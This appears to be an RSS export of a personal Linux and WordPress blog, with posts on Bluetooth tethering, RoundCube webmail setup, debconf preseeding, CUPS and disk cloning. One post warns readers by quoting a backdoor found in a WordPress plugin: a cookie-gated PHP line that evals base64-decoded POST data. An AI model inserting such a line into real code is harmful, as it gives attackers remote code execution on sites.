<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>It's all in a day's work</title>
	<atom:link href="http://blog.delgurth.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.delgurth.com</link>
	<description>If only a day had 48 hours...</description>
	<lastBuildDate>Thu, 24 Dec 2009 17:21:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Bluetooth using the gui in Ubuntu</title>
		<link>http://blog.delgurth.com/2009/03/15/bluetooth-using-the-gui-in-ubuntu/</link>
		<comments>http://blog.delgurth.com/2009/03/15/bluetooth-using-the-gui-in-ubuntu/#comments</comments>
		<pubDate>Sun, 15 Mar 2009 18:30:08 +0000</pubDate>
		<dc:creator>Wilco</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Misc]]></category>
		<category><![CDATA[Phones]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[bluethooth]]></category>
		<category><![CDATA[gprs]]></category>
		<category><![CDATA[umts]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=71</guid>
		<description><![CDATA[Bluetooth is of course a well-known mechanism for connecting mobile phones and pda&#8217;s to computers and laptops. It is low-power, easy to setup, and works out of the box on most systems. Until recently setting up serial over bluetooth in &#8230; <a href="http://blog.delgurth.com/2009/03/15/bluetooth-using-the-gui-in-ubuntu/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Bluetooth is of course a well-known mechanism for connecting mobile phones and pda&#8217;s to computers and laptops. It is low-power, easy to setup, and works out of the box on most systems. Until recently setting up serial over bluetooth in ubuntu/debian wasn&#8217;t a trivial task. I was by all means doable, but for many people meant creating and copying, downloading and tailoring some command-line scripts. This difficulty is mostly still noticeable when looking at the sheer amount of blogposts and articles and wiki&#8217;s about this setup. The tools are there (bluez has been in development for years) and work great, but setup is not for Joe / Jane Average.</p>
<p>When I revisited using my mobile phone&#8217;s GPRS modem on my netbook via bluetooth (an Acer Aspire One, running Ubuntu Intrepid, 8.10), I found hundreds of articles detailing the aforementioned edits&#8230; and a couple about achieving the same with a gui. The sysadmin-side of me prefers console solutions as these can be used over ssh (so I can set this up for others), my advocate-, user-and blogging-sides wanted a gui.</p>
<p>I found Blueman (<a href="http://blueman-project.org/">http://blueman-project.org/</a>). I first <a href="http://tanere.blogspot.com/2008/11/mobile-broadband-over-bluetooth-on.html">read</a> about it last november (at version 0.6) and was impressed, at time of this writing it is now at 1.02 and working even easier than before, thumbs up!</p>
<p>In this article I&#8217;ll have a look at setting up Blueman &#8220;the easy ubuntu way&#8221;, i.e. mostly from a gui, with package signatures and without using a terminal (I will have to cheat though <img src='http://blog.delgurth.com/blogging/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' />  ).<br />
<span id="more-71"></span><br />
<strong>Step 1, add the ppa</strong><br />
There are various ways of maintaining the repositories used by your system, editing /etc/apt/sources.list by hand or in the package manager, or adding the sources separately as files in /etc/apt/sources.list.d/. I like the modularity of the last option for my current purpose.<br />
The blueman PPA is at <a href="https://edge.launchpad.net/~blueman/+archive/ppa">https://edge.launchpad.net/~blueman/+archive/ppa</a>. This page also lists the &#8216;deb&#8217; rules to use for apt&#8217;s sources.</p>
<p>To add this repository, press Alt+F2 to get to the &#8216;Run application&#8217; dialog box, enter &#8216;gksu gedit&#8217;. Copy/paste the sources lines, save the file as &#8216;/etc/apt/sources.list.d/blueman.list&#8217;. It is important that the filenames ends in .list. Careful, the editor is running as root!<br />
<code>deb http://ppa.launchpad.net/blueman/ppa/ubuntu intrepid main<br />
#deb-src http://ppa.launchpad.net/blueman/ppa/ubuntu intrepid main</code><br />
When I have no direct need for the source I usually uncomment the deb-src rule.</p>
<p><strong>Step 2, add the repository key</strong><br />
Ubuntu/Debian repositories are signed to check if the packages are valid and not tampered with. This is where I&#8217;ll cheat. I will add the key through the &#8216;Run application&#8217; box. On the ppa&#8217;s homepage the public key fingerprint of the signing key is listed as: 951DC1E2. The following command will ask apt to fetch the corresponding key:<br />
<code>gksu "apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 951DC1E2"</code></p>
<p>(For more information see <a href="https://help.launchpad.net/Packaging/PPA#Adding a PPA to your Ubuntu repositories">Adding a PPA to your Ubuntu repositories</a></p>
<p><strong>Step 3, update the package list</strong><br />
Now we need to update the package cache. Start your package manager of choice (Synaptic) and reload.</p>
<p><strong>Step 4, install</strong><br />
Now install the &#8216;blueman&#8217; package, in Synaptic do a (quick) search for blueman, when the previous steps have gone as planned Synaptic should find the blueman package. Mark the blueman package, that should take care of dependencies as well (most important an updated bluez version), then apply or install.</p>
<p><strong>Step 5, configuration and use</strong><br />
Open the manager, it is located in System -> Preferences. Enable bluetooth (or plug your adapter) if not active yet. (When running the manager is reachable by clicking the bluetooth icon in the tray.)</p>
<p>Setup is quite easy when you&#8217;ve setup a bluetooth connection once before (or did so on another os).</p>
<ul>
<li>I use &#8216;Search&#8217; to search for my phone.</li>
<li>Then &#8216;Add&#8217; it to the known devices list. </li>
<li>Then &#8216;Bond&#8217; (also known as pairing) the phone to the netbook. </li>
<li>Then &#8216;Trust&#8217; the connection. </li>
</ul>
<p>Now basic connectivity between phone and pc is setup. Then &#8216;Setup&#8217; Dialup networking. (This is where the fun part begins).<br />
As mentioned in the preface, I wanted to connect to the GPRS modem in my phone for mobile internet connection.</p>
<p><strong>Step 6, create a mobile broadband connection</strong><br />
Click Setup, choose &#8216;Dialup networking&#8217;. It may ask you for sudo-password, but will only take a few seconds (in my tests). When done, you should see a /dev/rfcomm0 device entry when you right-click the phone and look in the &#8216;Serial devices&#8217; menu. That is the serial device we&#8217;re after which can be used by the network manager applet. Just right-click the applet, &#8216;Edit connections&#8217;, &#8216;Mobile broadband&#8217;, &#8216;Add&#8217; and setup your mobile provider&#8217;s settings. Now you can connect to it like to another network connection.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2009/03/15/bluetooth-using-the-gui-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lightweight &amp; fast webmail client</title>
		<link>http://blog.delgurth.com/2009/02/15/lightweight-fast-webmail-client/</link>
		<comments>http://blog.delgurth.com/2009/02/15/lightweight-fast-webmail-client/#comments</comments>
		<pubDate>Sun, 15 Feb 2009 18:34:32 +0000</pubDate>
		<dc:creator>Wilco</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Etch]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Lenny]]></category>
		<category><![CDATA[Misc]]></category>
		<category><![CDATA[Packages]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[lighttpd]]></category>
		<category><![CDATA[roundcube]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=70</guid>
		<description><![CDATA[My main home server is a measly pentium II class machine running (now) on Debian Etch. Not the fastest machine but it works, uses little power and is cheap while setup from left-overs. Among other things it serves me my &#8230; <a href="http://blog.delgurth.com/2009/02/15/lightweight-fast-webmail-client/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>My main home server is a measly pentium II class machine running (now) on Debian Etch. Not the fastest machine but it works, uses little power and is cheap while setup from left-overs. Among other things it serves me my email when not at home using <a href="http://roundcube.net/">RoundCube Webmail</a>. With the low-end hardware I am using it is key to keep it as fast and lightweight as possible. The server is behind a DSL connection at home so compression comes in handy as well.<br />
<span id="more-70"></span><br />
I have tested a couple of different setups for this server but now have settled on Courier imapd, imap-proxy and Lighttpd with Php-fastcgi. For the article I assume we have a working imap server, it doesn&#8217;t necessarily has to be courier and doesn&#8217;t need to be on the same server as well, but over here it is. I have bound courier-imapd to localhost, and courier-imapd-ssl to the local network for using from my workstation. In this scenario there is no un-encrypted imap traffic over any cable. On a trusted network that would probably be fine (depending on preference or rules) but RoundCube does support imap over ssl.</p>
<p>For this setup I choose debian packaged software where I can as it saves me the compile time and keeping up-to-date is easy.</p>
<p>Normally, with php-based webmail clients a major overhead is opening and closing the imap connection to the user&#8217;s inbox on every read, both for the webserver and the mailserver. <a href="http://www.imapproxy.org/">Imapproxy</a> creates and keeps a connection for a configurable amount of time on behalf of the user logging in to the webmail client. To the webmail client it acts like a normal imap server but the overhead of reading the user&#8217;s entire mailbox is reduced.</p>
<p><code># apt-get install imapproxy<br />
# gedit /etc/imapproxy.conf<br />
   server_hostname localhost<br />
   listen_port 144 #or any other free port, remember I have courier bound to 143 already<br />
   listen_address 127.0.0.1<br />
   server_port 143<br />
   enable_select_cache yes<br />
# /etc/init.d/imapproxy restart<br />
</code></p>
<p>Now we need a webserver, I choose <a href="http://www.lighttpd.net/">Lighttpd</a> because it is lightweight and fast. On top of lighttpd I run <a href="http://www.php.net">php5</a> in fast CGI mode (as it prespawns php processes the setup overhead is gone). In lighttpd I enable SSL, compress and optionally userdir. RoundCube will need some kind of database backend, since the use is limited I choose sqlite because it uses files as a backend, saving me the memory for a postgres or mysql backend.<br />
<code># apt-get install lighttpd php5-cgi php5-sqlite php5-mcrypt php5-gd<br />
</code><br />
In Etch, the packaged 10-fastcgi.conf file is hardcoded for php4. Edit the &#8216;bin-path&#8217; in /etc/lighttpd/conf-available/10-fastcgi.conf to /usr/bin/php-cgi:<br />
<code>### changed for php5<br />
   "bin-path" => "/usr/bin/php-cgi",<br />
</code></p>
<p>Now enable the modules, one  by one:<br />
<code># lighty-enable-mod<br />
fastcgi<br />
# lighty-enable-mod<br />
ssl<br />
###this last one is optional<br />
# lighty-enable-mod<br />
userdir<br />
</code></p>
<p>You will need a SSLcertificate in /etc/lighttpd/server.pem, a self-signed one is easily created:<br />
<code>$ cd /etc/lighttpd<br />
# make-ssl-cert /usr/share/ssl-cert/ssleay.cnf server.pem<br />
</code></p>
<p>You should now get a welcome message on http://yourserver, on https://yourserver, and when you have a ~/public_html directory http://yourserver/~youruser should work as well.</p>
<p>Now get the latest stable <a href="http://roundcube.net/downloads">RoundCube</a> version (0.2 at time of writing), and have a quick look at <a href="http://trac.roundcube.net/wiki/Howto_Install">the installation manual</a>.</p>
<p>First, choose an installation directory, I use my own public_html for testing purposes (if you have enabled the module userdir) before. Extract the tar, rename or link it to something easier, setup sqlite and check access rights. The sqlite database should be readable and writable by the www-data user.<br />
<code>$ cd public_html<br />
$ tar xzf ~/Downloads/roundcubemail-0.2-stable.tar.gz<br />
$ mv roundcubemail-0.2-stable/ rc<br />
$ cd rc<br />
# chown www-data temp logs<br />
# sudo -u www-data sqlite -init SQL/sqlite.initial.sql /var/tmp/rc.sqlite.db<br />
CTRL-D to exit<br />
</code><br />
Note: /var/tmp is NOT a good idea for production use!</p>
<p>Now it&#8217;s time to configure. Point your browser to http://yourserver/~user/rc/url-to-roundcube/installer/ to start the installation wizzard (yeh!).<br />
You can now setup your RoundCube the way you wish to, this is later easily changable by editing the created configuration files.<br />
The db configuration is a bit tricky, as it lists hostname, username and password textboxes even though the sqlite driver is selected. Keep them empty. After clicking &#8216;Create config&#8217; copy the contents of the textareas or use the download links and edit db.inc.php:<br />
<code>$rcmail_config['db_dsnw'] = 'sqlite:////var/tmp/rc.sqlite.db?mode=0646';<br />
</code></p>
<p>Now test it. If you are able to login and see your email you must delete the installer directory.</p>
<p>You could wonder why I don&#8217;t compile all software myself to push out those few last drops of performance. I feel that is a matter of preference. I feel 24 hours of compiling time isn&#8217;t worth it compared to using debian packages where I don&#8217;t have to track security issues myself, a dist-upgrade usually just works. The other optimizations as laid out in this article (proxying of imap connections and the smaller webserver, prespawned php processes etc) have much more impact.</p>
<p>ps: When I started writing this Debian Lenny was still &#8220;testing&#8221;, so there might be some small inconsistencies in config files.</p>
<p>ps2: some after-thoughts on getting to a more production-grade system.</p>
<ul>
<li>It would be nice to keep the https and http document roots separate, you could do a redirect from http to https as a service to the customers.
<li>By adding something to lighty&#8217;s 10-ssl.conf like<br />
<code>alias.url += ( "/webmail/" => "/home/webmail/htdocs/rc/" )</code><br />
RoundCube is only visible via https in the webmail directory.</p>
<li>For production use a self-signed certificate is imho still ok, at least when fqdn matches and ttl is not too long.
<li>When you have a /home/webmail directory that would be the obvious choice for storing the database file.
<li>I wonder at which number of simultaneous clients it would start to make sense to use a &#8216;real&#8217; dbms (postgres) instead of the flat files; I&#8217;d guess that might be quite a high number (&gt; 25).
<li>A separate outgoing queue on the webmail server itself with its smarthost set to your normal mailserver might speed up sending emails.
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2009/02/15/lightweight-fast-webmail-client/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pre-loading debconf values for easy installation</title>
		<link>http://blog.delgurth.com/2009/01/19/pre-loading-debconf-values-for-easy-installation/</link>
		<comments>http://blog.delgurth.com/2009/01/19/pre-loading-debconf-values-for-easy-installation/#comments</comments>
		<pubDate>Mon, 19 Jan 2009 22:19:00 +0000</pubDate>
		<dc:creator>Wilco</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Debian/Ubuntu]]></category>
		<category><![CDATA[one-liners]]></category>
		<category><![CDATA[Packages]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[debconf]]></category>
		<category><![CDATA[debian. ubuntu]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=69</guid>
		<description><![CDATA[Debian&#8217;s configuration management might take some getting used to, but after you learn your way around /etc/{default,init.d,} it makes good sense. Now when you have to do the same thing over and over again (ever said yes 25 times to &#8230; <a href="http://blog.delgurth.com/2009/01/19/pre-loading-debconf-values-for-easy-installation/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Debian&#8217;s configuration management might take some getting used to, but after you learn your way around /etc/{default,init.d,} it makes good sense.</p>
<p>Now when you have to do the same thing over and over again (ever said yes 25 times to Sun&#8217;s java license?), or you find that after a dist-upgrade your ldap configurations are gone because you pressed &#8216;enter&#8217; one too many times&#8230;; you could either keep lots of tarballs or digg deeper. The latter could be done with debconf. Debconf keeps all answers to questions packages can ask during installation, both the ones you gave yourself and the implied or low-priority ones chosen by the packager.</p>
<p>You can set those values yourself quite easily, once you know how.<br />
<span id="more-69"></span><br />
When using .deb-packages you&#8217;re used to getting asked about licenses, values, locations, downloads etc. All these are stored in debconf. You can preload those answers before so they won&#8217;t get asked during installation (a silent, scriptable, install) or to &#8220;steer&#8221; the package into your desired config-direction.</p>
<p>You have to find out the values first. I usually check out my own base-line installation and then search a bit in newsgroups and forums for finer details and tuning.</p>
<p>For example, you want to pre-accept Sun&#8217;s DLJ java license:</p>
<p><code># debconf-get-selections|grep java<br />
sun-java6-bin	shared/accepted-sun-dlj-v1-1	boolean	true<br />
sun-java6-jre	shared/accepted-sun-dlj-v1-1	boolean	true<br />
...<br />
</code></p>
<p>You can now script that installation like so, copying the value from line #3 into a small script (You could do this in a one-liner as well, but since we are scripting anyway) :<br />
<code>#!/bin/sh<br />
echo -n Will now install jre, silently...<br />
echo "sun-java6-jre	shared/accepted-sun-dlj-v1-1	boolean	true" | debconf-set-selections<br />
apt-get -qq -y install sun-java6-jre<br />
echo done.<br />
exit 0<br />
</code></p>
<p>White space is ofcourse important in line 3 but tabs work as well as spaces.</p>
<p><em>debconf-set-selections</em> should always be there. To get <em>debconf-get-selections</em> on your master-install you will need the debconf-utils package (at least on ubuntu hardy and up and debian etch).<br />
Both tools need to be run as root, so be careful! You can imagine you can ruin a perfectly good install to beyond repair!<br />
I suggest something like: <code># debconf-get-selections &gt; debconf-selections-backup-`date +%Y%m%d`</code>as backup-measure before trying.</p>
<p>Bonus points: now you know why Ubuntu is &#8216;easy&#8217; and debian is not!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2009/01/19/pre-loading-debconf-values-for-easy-installation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Connecting Ubuntu client to Cups server</title>
		<link>http://blog.delgurth.com/2009/01/06/connecting-ubuntu-client-to-cups-server/</link>
		<comments>http://blog.delgurth.com/2009/01/06/connecting-ubuntu-client-to-cups-server/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 12:46:38 +0000</pubDate>
		<dc:creator>Wilco</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[CUPS]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=67</guid>
		<description><![CDATA[As trivial as its configuration actually is, I find it surprising there is no easy (as in GUI-driven) way to connect your (K)Ubuntu/Debian box to existing Cups infrastructures. Even in (K)Ubuntu 8.10 you need to use Konsole or Terminal. But &#8230; <a href="http://blog.delgurth.com/2009/01/06/connecting-ubuntu-client-to-cups-server/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>As trivial as its configuration actually is, I find it surprising there is no easy (as in GUI-driven) way to connect your (K)Ubuntu/Debian box to existing Cups infrastructures. Even in (K)Ubuntu 8.10 you need to use Konsole or Terminal. But then it is easy.</p>
<p><span id="more-67"></span></p>
<p>Easy but poorly documented.</p>
<p>Assuming you have a working cups server <em>cupsserver.localdomain</em> somewhere on the network you&#8217;re currently in; the cups config is working, i.e. printers are connected and shared and browseable.</p>
<p>Edit or create (this file is not in any package, so it is perfectly normal to have to create it yourself) <em>/etc/cups/client.conf</em>:<br />
<code># sudo gedit /etc/cups/client.conf<br />
ServerName cupsserver.localdomain</code><br />
Save the file and you&#8217;re done. There is no need to re-login, it might take a while though and I&#8217;ve found applications like Firefox sometimes do need a restart to re-poll their printer settings.</p>
<p>When you&#8217;re moving from net to net a lot like I am it might be easier to keep a number of files or multiple servers in the same file, uncommenting the current one when needed; that&#8217;s a matter of preference.</p>
<p>This works on most Ubuntu and/or Debian versions, as long as they use cups ofcourse.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2009/01/06/connecting-ubuntu-client-to-cups-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backup an entire disk to another (larger) disk</title>
		<link>http://blog.delgurth.com/2008/12/09/backup-an-entire-disk-to-another-larger-disk/</link>
		<comments>http://blog.delgurth.com/2008/12/09/backup-an-entire-disk-to-another-larger-disk/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 11:46:30 +0000</pubDate>
		<dc:creator>DelGurth</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[disk]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=66</guid>
		<description><![CDATA[After some troubles with my desktop computer it&#8217;s going to be replaced with a new one. The desktop originally only had 1 disk, and that was going to be replaced as well, so I needed a backup. But I did &#8230; <a href="http://blog.delgurth.com/2008/12/09/backup-an-entire-disk-to-another-larger-disk/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>After some troubles with my desktop computer it&#8217;s going to be replaced with a new one. The desktop originally only had 1 disk, and that was going to be replaced as well, so I needed a backup. But I did not want to backup just my files, I wanted a total backup, so I could continue to work on the system, while I was wiping the original disk (don&#8217;t want mr dell to look at my private stuff).</p>
<p>So I bought myself a new disk, ofcourse it&#8217;s larger then the original, so I was not sure if a disk =&gt; disk copy would work. I found the program <a href="http://www.linux.com/feature/152592">ddrescue</a>, which did the job well. True, resuming windows after this caused a BSOD, but well, what else could you expect, the hardware changed while the system was &#8220;running&#8221;&#8230; After another reboot the system worked fine, as if nothing had changed. Resizing the disk was not possible, probably because of the dell restore partition behind the main ntfs partition, but well, it&#8217;s only temporary and I didn&#8217;t need the extra disk space in the first place. Copying a 250Gb disk took about 1 1/2 hours, not bad, IMHO.</p>
<p>After this doing a dd if=/dev/urandom of=/dev/MYOLDDISK took a way longer time. This is done with an average speed of 2.2Mb/sec, so the entire process of a 250Gb disk takes approximately 34 hours! At least, on my system. So if you need to wipe your data, take your time.</p>
<p><strong>Update:</strong></p>
<p>Perhaps I should have read the comments on the page with ddrescue, the copy speed could be faster if I used another tool. For example CloneZilla. ddrescue did the job for me, but there might be better alternatives for it available.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2008/12/09/backup-an-entire-disk-to-another-larger-disk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu .local domain resolving issue&#8217;s and iptables prerouting</title>
		<link>http://blog.delgurth.com/2008/11/11/ubuntu-local-domain-resolving-issues-and-iptables-prerouting/</link>
		<comments>http://blog.delgurth.com/2008/11/11/ubuntu-local-domain-resolving-issues-and-iptables-prerouting/#comments</comments>
		<pubDate>Tue, 11 Nov 2008 21:54:23 +0000</pubDate>
		<dc:creator>DelGurth</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[.local domain]]></category>
		<category><![CDATA[avahi]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=61</guid>
		<description><![CDATA[In the past few days I&#8217;ve been helping a new colleague at my current job with getting his development area setup in Ubuntu. Most of us work with Windows, including myself since I&#8217;m not working on my laptop but on &#8230; <a href="http://blog.delgurth.com/2008/11/11/ubuntu-local-domain-resolving-issues-and-iptables-prerouting/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In the past few days I&#8217;ve been helping a new colleague at my current job with getting his development area setup in Ubuntu. Most of us work with Windows, including myself since I&#8217;m not working on my laptop but on a provided desktop, so helping someone with Ubuntu is nice for a change.</p>
<p>ButÂ  we ran into a problem that I couldn&#8217;t explain right away, if we tried to &#8220;ssh&#8221; to our svn repository it didn&#8217;t resolve the hostname, while &#8220;normal&#8221; host lookup programs had no trouble with resolving it at all. So I posted <a href="http://ubuntuforums.org/showthread.php?t=978582">the problem on the Ubuntu forums</a>. Unfortunately the first response was a bit disappointing: &#8220;does it work when you try to ssh via ip?&#8221;&#8230; So I thought lets call a friend who helps me out more often in cases like these. And indeed he knew the answer. It seems that <a href="http://avahi.org/">avahi</a> is causing this problem. I&#8217;ve not yet found out why avahi is doing this, but I guess it&#8217;s a bad idea to use avahi while you need to work with a &#8220;.local&#8221; domain.</p>
<p>I wanted to know why avahi did this, so I thought lets join the Ubuntu IRC channel. Unfortunately I didn&#8217;t get an explanation. But I got to see something about iptables that I didn&#8217;t know about before, prerouting. Someone asked the following question:</p>
<blockquote><p>2008-11-11 21:53:48 &lt; deus&gt; It is possible to use the iptables to redirect http traffic to a proxy server, for example by using iptables -t nat -A PREROUTING -p tcp -i br0 &#8211;dport 80 -j DNAT<br />
&#8211;to-destination &lt;ip proxy&gt;:3128 But how does the proxy server know which site he has to lookup since the destination is changed to its own address?</p></blockquote>
<p>I didn&#8217;t know the answer to that, guess it works via the HTTP protocol itself, but well, perhaps I&#8217;ll find this out some other time. But while I was looking into this prerouting thingy I found <a href="http://www.overset.com/2007/07/13/simple-flash-remoting-proxy-through-linux/">a nice blog post about using prerouting for flash remoting.</a> I&#8217;ve no use for this information yet, but you never know.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2008/11/11/ubuntu-local-domain-resolving-issues-and-iptables-prerouting/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>New theme part III</title>
		<link>http://blog.delgurth.com/2008/10/31/new-theme-part-iii/</link>
		<comments>http://blog.delgurth.com/2008/10/31/new-theme-part-iii/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 19:32:47 +0000</pubDate>
		<dc:creator>DelGurth</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Addicted to live search plugin]]></category>
		<category><![CDATA[freshy2]]></category>
		<category><![CDATA[live search popup]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=56</guid>
		<description><![CDATA[After last nights debacle with the live search plugin, I tried an other one that was based on it: Live search popup. Unfortunately that one didn&#8217;t display very well in my theme, so I just removed it and won&#8217;t be &#8230; <a href="http://blog.delgurth.com/2008/10/31/new-theme-part-iii/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>After last nights debacle with the live search plugin, I tried an other one that was based on it: <a href="http://wordpress.org/extend/plugins/live-search-popup/">Live search popup</a>. Unfortunately that one didn&#8217;t display very well in my theme, so I just removed it and won&#8217;t be offering a &#8220;Web 2.0&#8243; search option for now.</p>
<p>Further changes to the Freshy2 theme and wordpress:</p>
<ul>
<li>I&#8217;ve added a none.gif to the background images folder, since I got loads of 404 messages about it not being in there.</li>
<li>I&#8217;ve copied the default search box style (#s) from the wordpress theme and removed the &#8220;white&#8221; background color so you can see what you type when searching. Unfortunately I now need a black anti-aliased version of the search icon.</li>
<li>I&#8217;ve added a header to the search widget (guess that will be gone on the next WP update from Debian, as soon as the TinyMCE maintainer updates TinyMCE). Not sure if I really want it to stay, but if I do I need to find a better way to add it.</li>
</ul>
<p>Now I &#8220;just&#8221; need to work on the &lt;pre&gt; and &lt;code&gt; output of the theme, since reading it is not very easy at the moment.</p>
<p>And I found why the Live search plugin didn&#8217;t work. It uses the deprecated <em>get_bloginfo(&#8216;siteurl&#8217;)</em>, while it should be using <em>get_bloginfo(&#8216;wpurl&#8217;)</em>. But well, after having contact with the maintainer of it, I won&#8217;t be using it. He is not interested in maintaining it, so better not to use that one.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2008/10/31/new-theme-part-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New theme continued: why not to trust plugins</title>
		<link>http://blog.delgurth.com/2008/10/31/new-theme-continued-why-not-to-trust-plugins/</link>
		<comments>http://blog.delgurth.com/2008/10/31/new-theme-continued-why-not-to-trust-plugins/#comments</comments>
		<pubDate>Thu, 30 Oct 2008 23:53:58 +0000</pubDate>
		<dc:creator>DelGurth</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Addicted to live search plugin]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=55</guid>
		<description><![CDATA[With this new theme I also saw that it was compatible with the &#8220;Addicted to live search plugin&#8221;[1]. (Un)fortunately this plugin doesn&#8217;t work out of the box either, at least not if you do not have WordPress running directly in &#8230; <a href="http://blog.delgurth.com/2008/10/31/new-theme-continued-why-not-to-trust-plugins/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>With this new theme I also saw that it was compatible with the &#8220;Addicted to live search plugin&#8221;<sup><a href="#one">[1]</a></sup>. (Un)fortunately this plugin doesn&#8217;t work out of the box either, at least not if you do not have WordPress running directly in the root.</p>
<p>But&#8230; Since I was looking at the code to fix this I also found:</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="">'7b13cc987791f418'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;6d6bedf94c36d538&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>; <span style="color: #990000;">exit</span>; <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<h3>No thank you very much!</h3>
<p>So what did we learn: Never ever trust WordPress plugins&#8230; <a href="http://addictedtonew.com/archives/145/wordpress-live-search-plugin/">So <strong>do not use this (version of the) plugin</strong>, unless you know how to remove this piece of code!</a></p>
<p>I&#8217;ll check out after some sleep what WordPress has to offer when you find a vulnerability like this in a plugin, so perhaps users of it can be warned&#8230; And I&#8217;ll fix this plugin later also, to be continued&#8230;</p>
<p><strong>Update: </strong> <a href="http://addictedtonew.com/archives/145/wordpress-live-search-plugin/#comment-167208">it seems that it&#8217;s fixed</a>. Although I&#8217;m not sure how the WordPress auto-update feature could create a line of code like that (as in, this sounds like bollocks to me).</p>
<p><span id="one"><br />
[1] Funny sidenote, I found this blog two years ago and commented on <a href="http://addictedtonew.com/archives/84/a-few-oracle-tips/">one of his articles on Oracle</a>.<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2008/10/31/new-theme-continued-why-not-to-trust-plugins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New theme</title>
		<link>http://blog.delgurth.com/2008/10/31/new-theme/</link>
		<comments>http://blog.delgurth.com/2008/10/31/new-theme/#comments</comments>
		<pubDate>Thu, 30 Oct 2008 22:01:19 +0000</pubDate>
		<dc:creator>DelGurth</dc:creator>
